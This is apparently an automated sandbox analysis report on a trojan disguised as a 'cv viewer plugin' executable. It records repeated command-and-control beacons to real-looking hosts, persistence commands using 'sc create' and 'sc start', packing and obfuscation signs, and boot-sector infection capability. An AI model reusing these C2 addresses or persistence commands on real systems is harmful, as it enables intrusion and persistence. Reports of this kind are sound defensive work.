Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /rand HTTP/1.1Host: 31.214.157.226Accept: /
Source: global traffic	HTTP traffic detected: GET /rand HTTP/1.1Host: 31.214.157.226Accept: /
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68 HTTP/1.1Host: dddlhyt.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)

Source: global traffic

DNS traffic detected: DNS query: dddlhyt.info

Source: cv viewer plugin 8.31.40.exe, 00000007.00000002.2648250801.00000000021FE000.00000004.00000020.00020000.00000000.sdmp, cv viewer plugin 8.31.40.exe, 00000007.00000002.2648534705.0000000002396000.00000004.00000020.00020000.00000000.sdmp, cv viewer plugin 8.31.40.exe, 00000007.00000002.2648485900.000000000228A000.00000004.00000020.00020000.00000000.sdmp, cv viewer plugin 8.31.40.exe, 00000007.00000002.2644409140.0000000000B9C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.196.8.214/search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834
Source: cv viewer plugin 8.31.40.exe, 00000007.00000002.2644409140.0000000000B89000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.196.8.214/search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df1

Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

Code function: 7_2_00401A4F: CreateFileA,DeviceIoControl,GetLastError,FindCloseChangeNotification,

7_2_00401A4F

Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe	Code function: 7_2_00406C47	7_2_00406C47
Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe	Code function: 7_2_00401051	7_2_00401051
Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe	Code function: 7_2_00401C26	7_2_00401C26
Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe	Code function: 7_2_016AF07A	7_2_016AF07A
Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe	Code function: 7_2_016BE24D	7_2_016BE24D
Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe	Code function: 7_2_016BDD59	7_2_016BDD59
Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe	Code function: 7_2_016B8503	7_2_016B8503
Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe	Code function: 7_2_016C5460	7_2_016C5460
Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe	Code function: 7_2_016BACFA	7_2_016BACFA
Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe	Code function: 7_2_016B9F44	7_2_016B9F44
Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe	Code function: 7_2_016BE665	7_2_016BE665
Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe	Code function: 7_2_016C2E74	7_2_016C2E74
Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe	Code function: 7_2_016C4EE9	7_2_016C4EE9
Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe	Code function: 7_2_016DBF31	7_2_016DBF31
Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe	Code function: 7_2_016DBF80	7_2_016DBF80

Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe	Code function: String function: 016C53F0 appears 139 times
Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe	Code function: String function: 016B8BA0 appears 37 times

Source: cv viewer plugin 8.31.40.exe, 00000007.00000000.1416621407.0000000000658000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameCV viewer pluginB vs cv viewer plugin 8.31.40.exe
Source: cv viewer plugin 8.31.40.exe	Binary or memory string: OriginalFilenameCV viewer pluginB vs cv viewer plugin 8.31.40.exe

Source: cv viewer plugin 8.31.40.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: cv viewer plugin 8.31.40.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.troj.evad.winEXE@9/6@1/3

Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

Code function: 7_2_016B0978 FormatMessageA,GetLastError,

7_2_016B0978

Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

Code function: CreateServiceA,CloseServiceHandle,

7_2_00402867

Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

Code function: 7_2_00401F64 FindResourceA,GetLastError,SizeofResource,LoadResource,LockResource,GlobalAlloc,GetTickCount,GlobalAlloc,

7_2_00401F64

Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

Code function: 7_2_0040D274 StartServiceCtrlDispatcherA,

7_2_0040D274

Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe	Code function: 7_2_0040D274 StartServiceCtrlDispatcherA,		7_2_0040D274
Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe	Code function: 7_2_0040D458 StartServiceCtrlDispatcherA,		7_2_0040D458

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8144:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8008:120:WilError_03

Source: C:\Windows\SysWOW64\sc.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: cv viewer plugin 8.31.40.exe

Virustotal: Detection: 36%

Source: unknown	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c sc create zuYSo binpath= "C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe" >> C:\servicereg.log 2>&1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\sc.exe sc create zuYSo binpath= "C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe"
Source: unknown	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c sc start zuYSo >> C:\servicestart.log 2>&1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\sc.exe sc start zuYSo
Source: unknown	Process created: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe "C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\sc.exe sc create zuYSo binpath= "C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\sc.exe sc start zuYSo	Jump to behavior

Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{EC529B00-1A1F-11D1-BAD9-00609744111A}\InprocServer32

Jump to behavior

Source: cv viewer plugin 8.31.40.exe

Static file information: File size 3665662 > 1048576

Source: cv viewer plugin 8.31.40.exe	Static PE information: Raw size of .rsrc is bigger than: 0x100000 < 0x191000
Source: cv viewer plugin 8.31.40.exe	Static PE information: Raw size of .vhead9 is bigger than: 0x100000 < 0x127efe

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

Unpacked PE file: 7.2.cv viewer plugin 8.31.40.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R;.vhead9:EW; vs .text:ER;.rdata:R;.data:W;.vmp0:ER;.rsrc:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

Unpacked PE file: 7.2.cv viewer plugin 8.31.40.exe.400000.0.unpack

Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

Code function: 7_2_00401B4B LoadLibraryA,GetProcAddress,GetAdaptersInfo,FreeLibrary,

7_2_00401B4B

Source: cv viewer plugin 8.31.40.exe

Static PE information: section name: .vhead9

Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe	Code function: 7_2_0040DA29 push es; ret	7_2_0040DA2C
Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe	Code function: 7_2_00402D40 push eax; ret	7_2_00402D6E
Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe	Code function: 7_2_0040B708 push eax; ret	7_2_0040B6B9
Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe	Code function: 7_2_0040B58C push eax; ret	7_2_0040B6B9
Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe	Code function: 7_2_016B8BE5 push ecx; ret	7_2_016B8BF8
Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe	Code function: 7_2_016C53F0 push eax; ret	7_2_016C540E
Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe	Code function: 7_2_016C544B push ecx; ret	7_2_016C545B
Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe	Code function: 7_2_016AEF92 push ss; iretd	7_2_016AEF93
Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe	Code function: 7_2_016F99F2 push ecx; mov dword ptr [esp], 5025CA0Fh	7_2_017347F2
Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe	Code function: 7_2_016F99F2 push 3AA6D972h; mov dword ptr [esp], ecx	7_2_0173482D
Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe	Code function: 7_2_016F99F2 push 2C9DFE2Bh; mov dword ptr [esp], esi	7_2_01734850
Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe	Code function: 7_2_016DF87F push ebx; mov dword ptr [esp], edi	7_2_016E7293
Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe	Code function: 7_2_016DF87F push ebx; mov dword ptr [esp], ecx	7_2_016E72BE
Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe	Code function: 7_2_016DF87F push ecx; mov dword ptr [esp], edx	7_2_016E72D9
Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe	Code function: 7_2_016DF87F push edi; mov dword ptr [esp], ebp	7_2_01729D38
Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe	Code function: 7_2_016E2599 push 30644033h; mov dword ptr [esp], edi	7_2_016E25A7
Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe	Code function: 7_2_016E2599 push edi; mov dword ptr [esp], ebx	7_2_016E25B7
Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe	Code function: 7_2_016E2599 push edx; mov dword ptr [esp], ebp	7_2_016E25CF
Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe	Code function: 7_2_016E2599 push edx; mov dword ptr [esp], esp	7_2_016E260A
Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe	Code function: 7_2_016DE4EE push ecx; mov dword ptr [esp], ebx	7_2_0171BACC
Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe	Code function: 7_2_017094D7 push ebp; mov dword ptr [esp], ebx	7_2_01719287
Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe	Code function: 7_2_016DE0F9 push eax; mov dword ptr [esp], edx	7_2_016DE114
Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe	Code function: 7_2_016DE0F9 push ebp; mov dword ptr [esp], esi	7_2_016DE14F
Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe	Code function: 7_2_016DE0F9 push esi; mov dword ptr [esp], edx	7_2_016DE189
Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe	Code function: 7_2_016DE0D2 push ebx; mov dword ptr [esp], 6C8B564Dh	7_2_016DE0DE
Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe	Code function: 7_2_016DE0D2 push eax; mov dword ptr [esp], edx	7_2_016DE114
Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe	Code function: 7_2_016DE0D2 push ebp; mov dword ptr [esp], esi	7_2_016DE14F
Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe	Code function: 7_2_016DE0D2 push esi; mov dword ptr [esp], edx	7_2_016DE189
Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe	Code function: 7_2_016DEDDA push esi; retf	7_2_016DEDDB

Source: cv viewer plugin 8.31.40.exe

Static PE information: section name: .text entropy: 7.682929718305509

Persistence and Installation Behavior

Contains functionality to infect the boot sector

Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe	Code function: CreateFileA,DeviceIoControl,GetLastError,FindCloseChangeNotification, \\.\PhysicalDrive0		7_2_00401A4F
